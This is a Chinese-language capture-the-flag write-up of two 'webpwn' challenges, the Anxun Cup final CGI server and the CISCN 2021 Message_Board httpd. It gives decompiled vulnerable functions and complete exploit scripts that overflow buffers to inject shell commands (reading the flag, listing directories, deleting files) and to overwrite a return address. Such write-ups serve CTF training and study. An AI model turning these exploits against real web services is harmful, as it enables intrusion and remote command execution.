webpwn初探
1、安洵final
安洵杯线下赛的最后一题,webpwn当时没做出来,看了两三天+darry的帮助下才复现出来。
做这类题目需要认认真真的去分析,才能找到漏洞点,但认真分析就会很浪费时间,说到底还是太菜。
首先要做的就是如何正确的输入,从下面三张图片即可看出需要我们输入请求方式、文件名、任意
下面这段代码自定义了一个头部X-Forword-For ,其后内容长度必须大于七,且必须是192.168.1.1~20
输入问题解决后,就得寻找漏洞了,一般的漏洞是目录穿越或者栈溢出。
从data段中找到了login.cgi
、logout.cgi
、wifictl.cgi
、logctl.cgi
,这些是文件名,并且每个文件名对应一个函数。
下图是以’=‘,’?‘,’&‘三个符号将文件名分解
sub_4034FD
函数如下,a2是我们的输入,可以输入任意长度,并且复制给dest1[16 * i + 40]
下图可以得出’?‘后应该跟ring_token
我们先看看wifictl这个函数,这个函数会给我们显示时间
漏洞点在logctl这个函数里,首先需要有一个token值,值是wifictl给出的时间。
在sub_402E56
中,a2是我们的输入,任意长度,s接受输入的值,因此有溢出,我们就可以控制a3了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| __int64 __fastcall sub_402E56(__int64 a1, const char *a2, char *a3) { int v3; // eax unsigned int v6; // [rsp+20h] [rbp-CE0h] int i; // [rsp+24h] [rbp-CDCh] int k; // [rsp+24h] [rbp-CDCh] int j; // [rsp+28h] [rbp-CD8h] int v10; // [rsp+2Ch] [rbp-CD4h] int v11[128]; // [rsp+30h] [rbp-CD0h] BYREF char v12[128]; // [rsp+230h] [rbp-AD0h] BYREF char s[1312]; // [rsp+2B0h] [rbp-A50h] BYREF char v14[1304]; // [rsp+7D0h] [rbp-530h] BYREF unsigned __int64 v15; // [rsp+CE8h] [rbp-18h]
v15 = __readfsqword(0x28u); v6 = 0; v10 = 0; if ( a2 ) { memset(s, 0, 0x514uLL); memset(v14, 0, sizeof(v14)); memset(v12, 0, sizeof(v12)); memset(v11, 0, sizeof(v11)); strcpy(v12, "$;`'&|<>^\n\r"); strcpy(s, a2); for ( i = 0; i < strlen(s); ++i ) { for ( j = 0; j < strlen(v12); ++j ) { if ( s[i] == v12[j] ) { v11[i] = 1; // v11[i]表示有和上面相同的符号 break; } } } for ( k = 0; k < strlen(v12); ++k ) { if ( v11[k] == 1 ) { v3 = v10++; v14[v3] = v12[k]; v6 = 1; } } strcpy(a3, v14); } return v6; }
|
v5被我们控制后,popen函数会调用execve函数执行参数,因此我们就可以直接写/bin/sh了。
在使用pwntool模块时,我们需要注意下在写参数时需要进行url编码,所以得将空格换成%20或+。使用request模块则不需要。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * import requests io=remote('127.0.0.1','10000') context.log_level='debug' payload = 'GET /wifictl.cgi?ring_token=1 HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n' io.sendline(payload) io.recvuntil('now time is ') time=io.recvuntil('.')[:-1] print(time) io.close()
io=remote('127.0.0.1','10000') context.log_level='debug' #cmd = 'a;'+'a'*1311+"/bin/cat /flag > a;" cmd = 'a;'+'a'*1311+'/bin/ls+/+>+/var/www/html/a;' payload = 'GET /logctl.cgi?ring_token={0}&aa={1} HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'.format(int(time)+1,cmd) io.sendline(payload) io.recvline() io.close()
io=remote('127.0.0.1',10000) context.log_level='debug' payload = 'GET /a HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n' io.sendline(payload) io.recvline() io.close() #io.interactive()
|
request模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| # import getopt # import sys import warnings import requests import re # import json import socket import socks #socks.setdefaultproxy(socks.HTTP, "127.0.0.1", 8080) #socket.socket = socks.socksocket #context.log_levle='debug'
def exp(url): if url[len(url) - 1] != '/': print("[-] Target URL Format Error,The last char in url must be '/'.") return False warnings.filterwarnings('ignore') s = requests.session() s.verify = False header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', 'X-Forword-For': '192.168.1.1' }
try: # print("[+] login...") ret = s.get("{}wifictl.cgi?ring_token=1".format(url), headers=header, timeout=8) print(s) if ret.status_code == 200: if "now time is" in ret.content.decode(): time_ret = re.search(r"now time is (.+?)\.\n",ret.content.decode()) if time_ret is None: print("[-] time_ret re error, cannot get time") return False else: now_time = time_ret.group(1) print("[+] now time is " + now_time) else: print("[-] time_ret re error, cannot get time") return False else: print("[-] status_code error, cannot get time") return False cmd = "a;" + "a"*1311 + "/bin/cat /flag >/var/www/html/flag;" new_url = "{}logctl.cgi?ring_token={}&aa={}".format(url, int(now_time)+1, cmd) ret = s.get(new_url, headers=header, timeout=8) # if ret.status_code == 200: # print(ret.content.decode()) # else: # print("[-] status_code error, cannot get flag") # return False ret = s.get("{}flag".format(url), headers=header, timeout=8) if ret.status_code == 200: print(ret.content.decode()) else: print("[-] status_code error, cannot get flag") return False cmd = "a;" + "a"*1311 + "rm /var/www/html/flag;" new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd) ret = s.get(new_url, headers=header, timeout=8) if ret.status_code == 200: return True else: print("[-] status_code error, cannot rm flag") return False except Exception as reason: if 'timed' in repr(reason) or 'timeout' in repr(reason): print('[-] Fail, can not connect target for: timeout') return False else: print('[-] Fail, can not connect target for: {}'.format(repr(reason))) return False
exp("http://127.0.0.1:10000/")
|
2、ciscn2021final Message_Board
当时总决赛这个题没有抽到,现在正好复现复现。不得不说,企鹅师傅出的真好。
先是规范我们的输入,以\r\n
为分隔符将输入分组,第一组再以‘空格分组,第一组的三个部分分别是请求方式(GET、POST)、文件路径(/submit、/messages、/register)、协议(HTTP/1.1、HTTP/1.0)。紧接着要求第二组头部是Content-Length:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| int __cdecl main() { char s[32]; // [esp+4h] [ebp-474h] BYREF char v2[512]; // [esp+24h] [ebp-454h] BYREF char v3[512]; // [esp+224h] [ebp-254h] BYREF char v4[32]; // [esp+424h] [ebp-54h] BYREF char *v5; // [esp+444h] [ebp-34h] char *v6; // [esp+44Ch] [ebp-2Ch] char *v7; // [esp+450h] [ebp-28h] char *dest; // [esp+454h] [ebp-24h] char *v9; // [esp+458h] [ebp-20h] char *v10; // [esp+45Ch] [ebp-1Ch] char *src; // [esp+460h] [ebp-18h] size_t v12; // [esp+464h] [ebp-14h] int i; // [esp+468h] [ebp-10h] char *v14; // [esp+46Ch] [ebp-Ch]
init(); memset(s, 0, 1096u); v12 = sub_8048950(stdin, dest1, 1024); // 返回第一段\r\n(包含)的长度,且将赋值到dest1 src = dest1; v10 = strchr(dest1, ' '); if ( !v10 || v10 - src > 31 || v10 == src ) { sub_8048A43(stdout); exit(-1); } strncpy(s, src, v10 - src); src = ++v10; // 第一个空格之后 v10 = strchr(v10, ' '); // 第二个空格前 if ( !v10 || v10 - src > 0x1FF || v10 == src ) { sub_8048A43(stdout); exit(-1); } v9 = strchr(src, '?'); if ( v9 && v9 < v10 ) { strncpy(v2, src, v9 - src); // v2 文件名到? strncpy(v3, v9 + 1, v10 - v9 - 1); // ?后第二个空格前 } else { strncpy(v2, src, v10 - src); } src = ++v10; v10 = strstr(v10, "\r\n"); // 第二个空格后到\r\n前 if ( v10 && v10 - src <= 31 ) strncpy(v4, src, v10 - src); if ( v4[0] && strcmp(v4, "HTTP/1.1") && strcmp(v4, "HTTP/1.0") ) { sub_8048A89(stdout); exit(-1); } v5 = 0; v14 = 0; dest = (char *)calloc(0x41u, 1u); v7 = (char *)calloc(0x201u, 1u); for ( i = 0; ; ++i ) { if ( i > 31 ) { sub_8048A43(stdout); exit(-1); } v12 = sub_8048950(stdin, dest1, 1024); src = dest1; v10 = dest1; if ( !strncmp(dest1, "\r\n", 2u) ) break; v10 = strchr(src, ':'); if ( !v10 || v10 - src > 63 || v10 == src ) { sub_8048A43(stdout); exit(-1); } *v10 = 0; strncpy(dest, src, 0x40u); // dest 头部 src = v10 + 1; // 头部 : 后的内容包含空格 v10 = strstr(v10 + 1, "\r\n"); if ( !v10 || v10 - src > 0x1FF || src + 1 >= v10 ) { sub_8048A43(stdout); exit(-1); } ++src; // 头部 : 后的内容 *v10 = 0; v10[1] = 0; strncpy(v7, src, 0x200u); v6 = (char *)calloc(0x248u, 1u); strncpy(v6, dest, 0x40u); strncpy(v6 + 0x41, v7, 0x200u); *((_DWORD *)v6 + 0x91) = 0; if ( v14 ) *((_DWORD *)v14 + 0x91) = v6; else v5 = v6; v14 = v6; src = v10 + 2; } free(dest); free(v7); sub_804906C(s); fflush(stdout); fclose(stdin); return 0; }
|
漏洞函数在sub_904906c
中,如果请求方式是POST
且文件路径是/submit
的话第三组就得是Cookie:
,且内容的格式必须是Username=aaa;Messages=aaa\r\n
每个头部的内容都会被存入bss段中。当Content-Length
的内容是0时,如果Messages的内容的末尾没有‘|‘,那么n就会变为0xffffffff,因此就会造成溢出。
由于无法泄露地址,因此我们直接利用下图函数,来直接读取文件。
因为是32位程序,所以参数是在栈内,又没有开canary和pie,因此在bss段上布置上文件名,将ebp改为对应的bss地址,就可以读取flag了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * io=process('./httpd') #io=remote('node4.buuoj.cn',25119) context.log_level='debug'
payload='POST /submit HTTP/1.1\r\nContent-Length: 0\r\nCookie: Username=f1ag;Messages=flag\r\n\r\n' io.sendline(payload) payload='a'*(0x82e-14+8)+p32(0x804C180+0x42c+len('Cookie: Username=f1ag;Messages='))+p32(0x80492BD)#+p32(0x8049339) payload=payload.ljust(0x5000,'\x00') #gdb.attach(io) io.sendline(payload) io.interactive()
|